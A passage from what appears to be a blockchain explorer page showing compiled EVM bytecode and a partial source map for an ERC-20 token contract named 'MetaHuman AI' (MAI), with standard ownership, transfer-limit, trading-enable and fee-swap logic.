65b5f805f610e1e610fd2565b9092509050610e2d8282610e34565b9250505090565b5f610c3383836040518060400160405280601d81526020017f4c6962536166654d6174683a206469766973696f6e206279207a65726f000000815250611011565b600c54158015610e855750600d54155b15610e8c57565b600c8054600e55600d8054600f555f9182905555565b5f805f805f80610eb18761103d565b6001600160a01b038f165f90815260146020526040902054959b5093995091975095509350915060ff168015610ef05750601154600160a01b900460ff165b610efa5785610efc565b5f5b6001600160a01b038a165f90815260126020526040902054909650610f219087611092565b6001600160a01b03808b165f9081526012602052604080822093909355908a1681522054610f4f90866110b6565b6001600160a01b0389165f90815260126020526040902055610f7081611114565b610f7a848361115a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fbf91815260200190565b60405180910390a3505050505050505050565b6007545f908190670de0b6b3a7640000610fec8282610e34565b82101561100857505060075492670de0b6b3a764000092509050565b90939092509050565b5f81836110315760405162461bcd60e51b815260040161046f919061129c565b505f610c1484866114c5565b5f805f805f805f805f6110558a600c54600d5461117e565b9250925092505f611064610e13565b90505f805f6110758e8787876111d0565b919e509c509a509598509396509194505050505091939550919395565b5f610c3383836040518060600160405280602181526020016114fc60219139610be5565b5f806110c28385611401565b905083811015610c335760405162461bcd60e51b815260206004820152601e60248201527f4c6962536166654d6174683a206164646974696f6e206f766572666c6f770000604482015260640161046f565b5f61111d610e13565b90505f61112a838361121c565b305f9081526012602052604090205490915061114690826110b6565b305f90815260126020526040902055505050565b6007546111679083611092565b60075560065461117790826110b6565b6006555050565b5f8080806111976064611191898961121c565b90610e34565b90505f6111a960646111918a8961121c565b90505f6111c0826111ba8b86611092565b90611092565b9992985090965090945050505050565b5f8080806111de888661121c565b90505f6111eb888761121c565b90505f6111f8888861121c565b90505f611209826111ba8686611092565b939b939a50919850919650505050505050565b5f825f0361122b57505f6103b8565b5f61123683856114e4565b90508261124385836114c5565b14610c335760405162461bcd60e51b8152602060048201526024808201527f4c6962536166654d6174683a206d756c7469706c69636174696f6e206f766572604482015263666c6f7760e01b606482015260840161046f565b5f6020808352835180828501525f5b818110156112c7578581018301518582016040015282016112ab565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112fb575f80fd5b50565b5f806040838503121561130f575f80fd5b823561131a816112e7565b946020939093013593505050565b5f805f6060848603121561133a575f80fd5b8335611345816112e7565b92506020840135611355816112e7565b929592945050506040919091013590565b5f60208284031215611376575f80fd5b8135610c33816112e7565b5f8060408385031215611392575f80fd5b823561139d816112e7565b915060208301356113ad816112e7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103b8576103b86113ed565b818103818111156103b8576103b86113ed565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561144b575f80fd5b8151610c33816112e7565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114a45784516001600160a01b03168352938301939183019160010161147f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826114df57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103b8576103b86113ed56fe4c6962536166654d6174683a207375627472616374696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c58e2c735d78446b2ce26b7912383470e08b4692911a81df2700c2c9a267a6d264736f6c63430008150033

Deployed Bytecode

0x608060405260043610610113575f3560e01c80638c0b5e221161009d578063c816841b11610062578063c816841b146102f3578063c9567bf914610312578063dd62ed3e14610326578063f2fde38b1461036a578063f887ea4014610389575f80fd5b80638c0b5e221461024f5780638da5cb5b1461026457806395d89b4114610294578063a9059cbb146102bf578063aa4bde28146102de575f80fd5b8063313ce567116100e3578063313ce567146101d65780635e7b655c146101f157806370a0823114610206578063715018a614610225578063751039fc1461023b575f80fd5b806306fdde031461011e578063095ea7b31461016457806318160ddd1461019357806323b872dd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600c81526b4d65746148756d616e20414960a01b60208201525b60405161015b919061129c565b60405180910390f35b34801561016f575f80fd5b5061018361017e3660046112fe565b6103a8565b604051901515815260200161015b565b34801561019e575f80fd5b50670de0b6b3a76400005b60405190815260200161015b565b3480156101c2575f80fd5b506101836101d1366004611328565b6103be565b3480156101e1575f80fd5b506040516009815260200161015b565b3480156101fc575f80fd5b506101a9600a5481565b348015610211575f80fd5b506101a9610220366004611366565b610425565b348015610230575f80fd5b50610239610446565b005b348015610246575f80fd5b506102396104c0565b34801561025a575f80fd5b506101a960085481565b34801561026f575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161015b565b34801561029f575f80fd5b506040805180820190915260038152624d414960e81b602082015261014e565b3480156102ca575f80fd5b506101836102d93660046112fe565b61050a565b3480156102e9575f80fd5b506101a960095481565b3480156102fe575f80fd5b5060115461027c906001600160a01b031681565b34801561031d575f80fd5b50610239610516565b348015610331575f80fd5b506101a9610340366004611381565b6001600160a01b039182165f90815260136020908152604080832093909416825291909152205490565b348015610375575f80fd5b50610239610384366004611366565b610554565b348015610394575f80fd5b5060105461027c906001600160a01b031681565b5f6103b433848461063b565b5060015b92915050565b5f6103ca84848461075e565b61041b84336104168560405180606001604052806028815260200161151d602891396001600160a01b038a165f9081526013602090815260408083203384529091529020549190610be5565b61063b565b5060019392505050565b6001600160a01b0381165f908152601260205260408120546103b890610c1d565b5f546001600160a01b031633146104785760405162461bcd60e51b815260040161046f906113b8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104e95760405162461bcd60e51b815260040161046f906113b8565b60075460088190556009555f60028190556003808055600491909155600555565b5f6103b433848461075e565b5f546001600160a01b0316331461053f5760405162461bcd60e51b815260040161046f906113b8565b6011805460ff60a01b1916600160a01b179055565b5f546001600160a01b0316331461057d5760405162461bcd60e51b815260040161046f906113b8565b6001600160a01b0381166105e25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161046f565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661069d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046f565b6001600160a01b0382166106fe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046f565b6001600160a01b038381165f8181526013602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107c25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046f565b6001600160a01b0382166108245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046f565b5f81116108855760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046f565b5f546001600160a01b038481169116148015906108af57505f546001600160a01b03838116911614155b15610adb57601154600160a01b900460ff16610947575f546001600160a01b038481169116146109475760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161046f565b6008548111156109995760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161046f565b6011546001600160a01b03838116911614610a1f57600954816109bb84610425565b6109c59190611401565b1115610a1f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161046f565b5f610a2930610425565b600a54600854919250821015908210610a425760085491505b808015610a595750601154600160a81b900460ff16155b8015610a7257506011546001600160a01b038581169116145b8015610a875750601154600160b01b900460ff165b8015610aab57506001600160a01b0385165f9081526014602052604090205460ff16155b8015610ab85750600a5483115b15610ad857610ac682610c3a565b478015610ad657610ad647610daa565b505b50505b6001600160a01b0383165f9081526014602052604090205460019060ff1680610b1b57506001600160a01b0383165f9081526014602052604090205460ff165b80610b4d57506011546001600160a01b03858116911614801590610b4d57506011546001600160a01b03848116911614155b15610b5957505f610bd3565b6011546001600160a01b038581169116148015610b8457506010546001600160a01b03848116911614155b15610b9657600254600c55600354600d555b6011546001600160a01b038481169116148015610bc157506010546001600160a01b03858116911614155b15610bd357600454600c55600554600d555b610bdf84848484610de5565b50505050565b5f8184841115610c085760405162461bcd60e51b815260040161046f919061129c565b505f610c148486611414565b95945050505050565b5f80610c27610e13565b9050610c338382610e34565b9392505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c8057610c80611427565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cd7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cfb919061143b565b81600181518110610d0e57610d0e611427565b6001600160a01b039283166020918202929092010152601054610d34913091168461063b565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d6c9085905f90869030904290600401611456565b5f604051808303815f87803b158015610d83575f80fd5b505af1158015610d95573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610de1573d5f803e3d5ffd5b5050565b80610df257610df2610e75565b610dfd848484610ea2565b80610bdf57610bdf600e54600c55600f54600d55565b5f805f610e1e610fd2565b9092509050610e2d8282610e34565b9250505090565b5f610c3383836040518060400160405280601d81526020017f4c6962536166654d6174683a206469766973696f6e206279207a65726f000000815250611011565b600c54158015610e855750600d54155b15610e8c57565b600c8054600e55600d8054600f555f9182905555565b5f805f805f80610eb18761103d565b6001600160a01b038f165f90815260146020526040902054959b5093995091975095509350915060ff168015610ef05750601154600160a01b900460ff165b610efa5785610efc565b5f5b6001600160a01b038a165f90815260126020526040902054909650610f219087611092565b6001600160a01b03808b165f9081526012602052604080822093909355908a1681522054610f4f90866110b6565b6001600160a01b0389165f90815260126020526040902055610f7081611114565b610f7a848361115a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fbf91815260200190565b60405180910390a3505050505050505050565b6007545f908190670de0b6b3a7640000610fec8282610e34565b82101561100857505060075492670de0b6b3a764000092509050565b90939092509050565b5f81836110315760405162461bcd60e51b815260040161046f919061129c565b505f610c1484866114c5565b5f805f805f805f805f6110558a600c54600d5461117e565b9250925092505f611064610e13565b90505f805f6110758e8787876111d0565b919e509c509a509598509396509194505050505091939550919395565b5f610c3383836040518060600160405280602181526020016114fc60219139610be5565b5f806110c28385611401565b905083811015610c335760405162461bcd60e51b815260206004820152601e60248201527f4c6962536166654d6174683a206164646974696f6e206f766572666c6f770000604482015260640161046f565b5f61111d610e13565b90505f61112a838361121c565b305f9081526012602052604090205490915061114690826110b6565b305f90815260126020526040902055505050565b6007546111679083611092565b60075560065461117790826110b6565b6006555050565b5f8080806111976064611191898961121c565b90610e34565b90505f6111a960646111918a8961121c565b90505f6111c0826111ba8b86611092565b90611092565b9992985090965090945050505050565b5f8080806111de888661121c565b90505f6111eb888761121c565b90505f6111f8888861121c565b90505f611209826111ba8686611092565b939b939a50919850919650505050505050565b5f825f0361122b57505f6103b8565b5f61123683856114e4565b90508261124385836114c5565b14610c335760405162461bcd60e51b8152602060048201526024808201527f4c6962536166654d6174683a206d756c7469706c69636174696f6e206f766572604482015263666c6f7760e01b606482015260840161046f565b5f6020808352835180828501525f5b818110156112c7578581018301518582016040015282016112ab565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112fb575f80fd5b50565b5f806040838503121561130f575f80fd5b823561131a816112e7565b946020939093013593505050565b5f805f6060848603121561133a575f80fd5b8335611345816112e7565b92506020840135611355816112e7565b929592945050506040919091013590565b5f60208284031215611376575f80fd5b8135610c33816112e7565b5f8060408385031215611392575f80fd5b823561139d816112e7565b915060208301356113ad816112e7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103b8576103b86113ed565b818103818111156103b8576103b86113ed565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561144b575f80fd5b8151610c33816112e7565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114a45784516001600160a01b03168352938301939183019160010161147f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826114df57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103b8576103b86113ed56fe4c6962536166654d6174683a207375627472616374696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c58e2c735d78446b2ce26b7912383470e08b4692911a81df2700c2c9a267a6d264736f6c63430008150033

Deployed Bytecode Sourcemap

4658:11165:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6757:83;;;;;;;;;;-1:-1:-1;6827:5:0;;;;;;;;;;;;-1:-1:-1;;;6827:5:0;;;;6757:83;;;;;;;:::i;:::-;;;;;;;;7281:193;;;;;;;;;;-1:-1:-1;7281:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7281:193:0;1023:187:1;7028:95:0;;;;;;;;;;-1:-1:-1;5153:15:0;7028:95;;;1361:25:1;;;1349:2;1334:18;7028:95:0;1215:177:1;13192:446:0;;;;;;;;;;-1:-1:-1;13192:446:0;;;;;:::i;:::-;;:::i;6939:83::-;;;;;;;;;;-1:-1:-1;6939:83:0;;5064:1;2000:36:1;;1988:2;1973:18;6939:83:0;1858:184:1;5352:51:0;;;;;;;;;;;;;;;;7135:134;;;;;;;;;;-1:-1:-1;7135:134:0;;;;;:::i;:::-;;:::i;1954:148::-;;;;;;;;;;;;;:::i;:::-;;12586:237;;;;;;;;;;;;;:::i;5232:51::-;;;;;;;;;;;;;;;;2358:79;;;;;;;;;;-1:-1:-1;2396:7:0;2423:6;-1:-1:-1;;;;;2423:6:0;2358:79;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;2358:79:0;2299:203:1;6846:87:0;;;;;;;;;;-1:-1:-1;6918:7:0;;;;;;;;;;;;-1:-1:-1;;;6918:7:0;;;;6846:87;;11364:199;;;;;;;;;;-1:-1:-1;11364:199:0;;;;;:::i;:::-;;:::i;5290:55::-;;;;;;;;;;;;;;;;5705:26;;;;;;;;;;-1:-1:-1;5705:26:0;;;;-1:-1:-1;;;;;5705:26:0;;;12835:79;;;;;;;;;;;;;:::i;7480:184::-;;;;;;;;;;-1:-1:-1;7480:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7629:18:0;;;7597:7;7629:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7480:184;2108:244;;;;;;;;;;-1:-1:-1;2108:244:0;;;;;:::i;:::-;;:::i;5670:28::-;;;;;;;;;;-1:-1:-1;5670:28:0;;;;-1:-1:-1;;;;;5670:28:0;;;7281:193;7383:4;7405:39;1556:10;7428:7;7437:6;7405:8;:39::i;:::-;-1:-1:-1;7462:4:0;7281:193;;;;;:::o;13192:446::-;13324:4;13341:36;13351:6;13359:9;13370:6;13341:9;:36::i;:::-;13388:220;13411:6;1556:10;13459:138;13515:6;13459:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13459:19:0;;;;;;:11;:19;;;;;;;;1556:10;13459:33;;;;;;;;;;:37;:138::i;:::-;13388:8;:220::i;:::-;-1:-1:-1;13626:4:0;13192:446;;;;;:::o;7135:134::-;-1:-1:-1;;;;;7239:21:0;;7201:7;7239:21;;;:12;:21;;;;;;7228:33;;:10;:33::i;1954:148::-;2483:6;;-1:-1:-1;;;;;2483:6:0;1556:10;2483:22;2475:67;;;;-1:-1:-1;;;2475:67:0;;;;;;;:::i;:::-;;;;;;;;;2061:1:::1;2045:6:::0;;2024:40:::1;::::0;-1:-1:-1;;;;;2045:6:0;;::::1;::::0;2024:40:::1;::::0;2061:1;;2024:40:::1;2092:1;2075:19:::0;;-1:-1:-1;;;;;;2075:19:0::1;::::0;;1954:148::o;12586:237::-;2483:6;;-1:-1:-1;;;;;2483:6:0;1556:10;2483:22;2475:67;;;;-1:-1:-1;;;2475:67:0;;;;;;;:::i;:::-;12654:8:::1;::::0;12640:11:::1;:22:::0;;;12673:15:::1;:26:::0;-1:-1:-1;12720:12:0::1;:16:::0;;;12760:1:::1;12747:14:::0;;;-1:-1:-1;12772:17:0;;;;-1:-1:-1;12800:15:0;12586:237::o;11364:199::-;11469:4;11491:42;1556:10;11515:9;11526:6;11491:9;:42::i;12835:79::-;2483:6;;-1:-1:-1;;;;;2483:6:0;1556:10;2483:22;2475:67;;;;-1:-1:-1;;;2475:67:0;;;;;;;:::i;:::-;12886:13:::1;:20:::0;;-1:-1:-1;;;;12886:20:0::1;-1:-1:-1::0;;;12886:20:0::1;::::0;;12835:79::o;2108:244::-;2483:6;;-1:-1:-1;;;;;2483:6:0;1556:10;2483:22;2475:67;;;;-1:-1:-1;;;2475:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2197:22:0;::::1;2189:73;;;::::0;-1:-1:-1;;;2189:73:0;;3693:2:1;2189:73:0::1;::::0;::::1;3675:21:1::0;3732:2;3712:18;;;3705:30;3771:34;3751:18;;;3744:62;-1:-1:-1;;;3822:18:1;;;3815:36;3868:19;;2189:73:0::1;3491:402:1::0;2189:73:0::1;2299:6;::::0;;2278:38:::1;::::0;-1:-1:-1;;;;;2278:38:0;;::::1;::::0;2299:6;::::1;::::0;2278:38:::1;::::0;::::1;2327:6;:17:::0;;-1:-1:-1;;;;;;2327:17:0::1;-1:-1:-1::0;;;;;2327:17:0;;;::::1;::::0;;;::::1;::::0;;2108:244::o;14253:369::-;-1:-1:-1;;;;;14380:19:0;;14372:68;;;;-1:-1:-1;;;14372:68:0;;4100:2:1;14372:68:0;;;4082:21:1;4139:2;4119:18;;;4112:30;4178:34;4158:18;;;4151:62;-1:-1:-1;;;4229:18:1;;;4222:34;4273:19;;14372:68:0;3898:400:1;14372:68:0;-1:-1:-1;;;;;14459:21:0;;14451:68;;;;-1:-1:-1;;;14451:68:0;;4505:2:1;14451:68:0;;;4487:21:1;4544:2;4524:18;;;4517:30;4583:34;4563:18;;;4556:62;-1:-1:-1;;;4634:18:1;;;4627:32;4676:19;;14451:68:0;4303:398:1;14451:68:0;-1:-1:-1;;;;;14530:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14582:32;;1361:25:1;;;14582:32:0;;1334:18:1;14582:32:0;;;;;;;14253:369;;;:::o;8315:2045::-;-1:-1:-1;;;;;8437:18:0;;8429:68;;;;-1:-1:-1;;;8429:68:0;;4908:2:1;8429:68:0;;;4890:21:1;4947:2;4927:18;;;4920:30;4986:34;4966:18;;;4959:62;-1:-1:-1;;;5037:18:1;;;5030:35;5082:19;;8429:68:0;4706:401:1;8429:68:0;-1:-1:-1;;;;;8516:16:0;;8508:64;;;;-1:-1:-1;;;8508:64:0;;5314:2:1;8508:64:0;;;5296:21:1;5353:2;5333:18;;;5326:30;5392:34;5372:18;;;5365:62;-1:-1:-1;;;5443:18:1;;;5436:33;5486:19;;8508:64:0;5112:399:1;8508:64:0;8600:1;8591:6;:10;8583:64;;;;-1:-1:-1;;;8583:64:0;;5718:2:1;8583:64:0;;;5700:21:1;5757:2;5737:18;;;5730:30;5796:34;5776:18;;;5769:62;-1:-1:-1;;;5847:18:1;;;5840:39;5896:19;;8583:64:0;5516:405:1;8583:64:0;2396:7;2423:6;-1:-1:-1;;;;;8662:15:0;;;2423:6;;8662:15;;;;:32;;-1:-1:-1;2396:7:0;2423:6;-1:-1:-1;;;;;8681:13:0;;;2423:6;;8681:13;;8662:32;8658:1086;;;8716:13;;-1:-1:-1;;;8716:13:0;;;;8711:146;;2396:7;2423:6;-1:-1:-1;;;;;8758:15:0;;;2423:6;;8758:15;8750:91;;;;-1:-1:-1;;;8750:91:0;;6128:2:1;8750:91:0;;;6110:21:1;6167:2;6147:18;;;6140:30;6206:34;6186:18;;;6179:62;6277:33;6257:18;;;6250:61;6328:19;;8750:91:0;5926:427:1;8750:91:0;8889:11;;8879:6;:21;;8871:62;;;;-1:-1:-1;;;8871:62:0;;6560:2:1;8871:62:0;;;6542:21:1;6599:2;6579:18;;;6572:30;6638;6618:18;;;6611:58;6686:18;;8871:62:0;6358:352:1;8871:62:0;8957:11;;-1:-1:-1;;;;;8951:17:0;;;8957:11;;8951:17;8948:146;;9023:15;;9013:6;8997:13;9007:2;8997:9;:13::i;:::-;:22;;;;:::i;:::-;:41;;8989:89;;;;-1:-1:-1;;;8989:89:0;;7179:2:1;8989:89:0;;;7161:21:1;7218:2;7198:18;;;7191:30;7257:34;7237:18;;;7230:62;-1:-1:-1;;;7308:18:1;;;7301:33;7351:19;;8989:89:0;6977:399:1;8989:89:0;9108:23;9134:24;9152:4;9134:9;:24::i;:::-;9207:16;;9260:11;;9108:50;;-1:-1:-1;9188:35:0;;;;9241:30;;9238:112;;9323:11;;9305:29;;9238:112;9368:7;:19;;;;-1:-1:-1;9380:7:0;;-1:-1:-1;;;9380:7:0;;;;9379:8;9368:19;:40;;;;-1:-1:-1;9397:11:0;;-1:-1:-1;;;;;9391:17:0;;;9397:11;;9391:17;9368:40;:59;;;;-1:-1:-1;9412:15:0;;-1:-1:-1;;;9412:15:0;;;;9368:59;:88;;;;-1:-1:-1;;;;;;9432:24:0;;;;;;:18;:24;;;;;;;;9431:25;9368:88;:117;;;;;9469:16;;9460:6;:25;9368:117;9364:369;;;9506:32;9522:15;9506;:32::i;:::-;9579:21;9623:15;;9619:99;;9663:35;9676:21;9663:12;:35::i;:::-;9487:246;9364:369;8696:1048;;8658:1086;-1:-1:-1;;;;;9789:24:0;;9754:12;9789:24;;;:18;:24;;;;;;9769:4;;9789:24;;;:50;;-1:-1:-1;;;;;;9817:22:0;;;;;;:18;:22;;;;;;;;9789:50;9788:98;;;-1:-1:-1;9853:11:0;;-1:-1:-1;;;;;9845:19:0;;;9853:11;;9845:19;;;;:40;;-1:-1:-1;9874:11:0;;-1:-1:-1;;;;;9868:17:0;;;9874:11;;9868:17;;9845:40;9784:517;;;-1:-1:-1;9913:5:0;9784:517;;;9962:11;;-1:-1:-1;;;;;9954:19:0;;;9962:11;;9954:19;:44;;;;-1:-1:-1;9991:6:0;;-1:-1:-1;;;;;9977:21:0;;;9991:6;;9977:21;;9954:44;9951:161;;;10038:12;;10019:16;:31;10086:10;;10069:14;:27;9951:161;10136:11;;-1:-1:-1;;;;;10130:17:0;;;10136:11;;10130:17;:44;;;;-1:-1:-1;10167:6:0;;-1:-1:-1;;;;;10151:23:0;;;10167:6;;10151:23;;10130:44;10126:164;;;10214:13;;10195:16;:32;10263:11;;10246:14;:28;10126:164;10311:41;10326:4;10332:2;10336:6;10344:7;10311:14;:41::i;:::-;8418:1942;8315:2045;;;:::o;2927:224::-;3047:7;3083:12;3075:6;;;;3067:29;;;;-1:-1:-1;;;3067:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3107:9:0;3119:5;3123:1;3119;:5;:::i;:::-;3107:17;2927:224;-1:-1:-1;;;;;2927:224:0:o;13644:193::-;13730:7;13755:19;13777:10;:8;:10::i;:::-;13755:32;-1:-1:-1;13805:24:0;:7;13755:32;13805:11;:24::i;:::-;13798:31;13644:193;-1:-1:-1;;;13644:193:0:o;15368:452::-;6116:7;:14;;-1:-1:-1;;;;6116:14:0;-1:-1:-1;;;6116:14:0;;;15466:16:::1;::::0;;15480:1:::1;15466:16:::0;;;;;::::1;::::0;;-1:-1:-1;;15466:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;15466:16:0::1;15442:40;;15511:4;15493;15498:1;15493:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15493:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;15537:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;15537:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;15493:7;;15537:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15527:4;15532:1;15527:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15527:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;15593:6:::1;::::0;15561:53:::1;::::0;15578:4:::1;::::0;15593:6:::1;15602:11:::0;15561:8:::1;:53::i;:::-;15625:6;::::0;:187:::1;::::0;-1:-1:-1;;;15625:187:0;;-1:-1:-1;;;;;15625:6:0;;::::1;::::0;:57:::1;::::0;:187:::1;::::0;15697:11;;15625:6:::1;::::0;15739:4;;15766::::1;::::0;15786:15:::1;::::0;15625:187:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6153:7:0;:15;;-1:-1:-1;;;;6153:15:0;;;-1:-1:-1;;;;15368:452:0:o;14150:91::-;14207:9;;:26;;-1:-1:-1;;;;;14207:9:0;;;;:26;;;;;14226:6;;14207:9;:26;:9;:26;14226:6;14207:9;:26;;;;;;;;;;;;;;;;;;;;;14150:91;:::o;10913:276::-;11069:7;11064:25;;11078:11;:9;:11::i;:::-;11100:44;11118:6;11126:9;11137:6;11100:17;:44::i;:::-;11160:7;11155:26;;11169:12;14070:17;;14051:16;:36;14115:15;;14098:14;:32;14010:128;11195:157;11237:7;11258:15;11275;11294:12;:10;:12::i;:::-;11257:49;;-1:-1:-1;11257:49:0;-1:-1:-1;11324:20:0;11257:49;;11324:11;:20::i;:::-;11317:27;;;;11195:157;:::o;3412:135::-;3470:7;3497:42;3501:1;3504;3497:42;;;;;;;;;;;;;;;;;:3;:42::i;12926:254::-;12970:16;;:21;:44;;;;-1:-1:-1;12995:14:0;;:19;12970:44;12966:57;;;12926:254::o;12966:57::-;13053:16;;;13033:17;:36;13098:14;;;13080:15;:32;-1:-1:-1;13123:20:0;;;;13154:18;12926:254::o;11610:731::-;11757:15;11787:23;11825:12;11852:23;11890:12;11917:13;11944:22;11958:7;11944:13;:22::i;:::-;-1:-1:-1;;;;;11988:26:0;;;;;;:18;:26;;;;;;11742:224;;-1:-1:-1;11742:224:0;;-1:-1:-1;11742:224:0;;-1:-1:-1;11742:224:0;-1:-1:-1;11742:224:0;-1:-1:-1;11742:224:0;-1:-1:-1;11988:26:0;;:43;;;;-1:-1:-1;12018:13:0;;-1:-1:-1;;;12018:13:0;;;;11988:43;11987:69;;12049:7;11987:69;;;12045:1;11987:69;-1:-1:-1;;;;;12090:20:0;;;;;;:12;:20;;;;;;11977:79;;-1:-1:-1;12090:33:0;;11977:79;12090:24;:33::i;:::-;-1:-1:-1;;;;;12067:20:0;;;;;;;:12;:20;;;;;;:56;;;;12160:23;;;;;;;:44;;12188:15;12160:27;:44::i;:::-;-1:-1:-1;;;;;12134:23:0;;;;;;:12;:23;;;;;:70;12215:22;12231:5;12215:15;:22::i;:::-;12248:25;12262:4;12268;12248:13;:25::i;:::-;12306:9;-1:-1:-1;;;;;12289:44:0;12298:6;-1:-1:-1;;;;;12289:44:0;;12317:15;12289:44;;;;1361:25:1;;1349:2;1334:18;;1215:177;12289:44:0;;;;;;;;11731:610;;;;;;11610:731;;;:::o;15103:253::-;15194:8;;15147:7;;;;5153:15;15263:21;15194:8;5153:15;15263:12;:21::i;:::-;15253:7;:31;15249:63;;;-1:-1:-1;;15294:8:0;;;5153:15;;-1:-1:-1;15103:253:0;-1:-1:-1;15103:253:0:o;15249:63::-;15331:7;;15340;;-1:-1:-1;15103:253:0;-1:-1:-1;15103:253:0:o;3553:223::-;3673:7;3708:12;3701:5;3693:28;;;;-1:-1:-1;;;3693:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3732:9:0;3744:5;3748:1;3744;:5;:::i;7670:633::-;7773:7;7795;7817;7839;7861;7883;7919:23;7944:12;7958:13;7988:54;8000:7;8009:16;;8027:14;;7988:11;:54::i;:::-;7918:124;;;;;;8053:19;8075:10;:8;:10::i;:::-;8053:32;;8097:15;8114:23;8139:12;8168:47;8181:7;8190:4;8196:5;8203:11;8168:12;:47::i;:::-;8096:119;;-1:-1:-1;8096:119:0;-1:-1:-1;8096:119:0;-1:-1:-1;8266:15:0;;-1:-1:-1;8283:4:0;;-1:-1:-1;8289:5:0;;-1:-1:-1;;;;;7670:633:0;;;;;;;:::o;2782:139::-;2840:7;2867:46;2871:1;2874;2867:46;;;;;;;;;;;;;;;;;:3;:46::i;2594:182::-;2652:7;;2684:5;2688:1;2684;:5;:::i;:::-;2672:17;;2713:1;2708;:6;;2700:49;;;;-1:-1:-1;;;2700:49:0;;9443:2:1;2700:49:0;;;9425:21:1;9482:2;9462:18;;;9455:30;9521:32;9501:18;;;9494:60;9571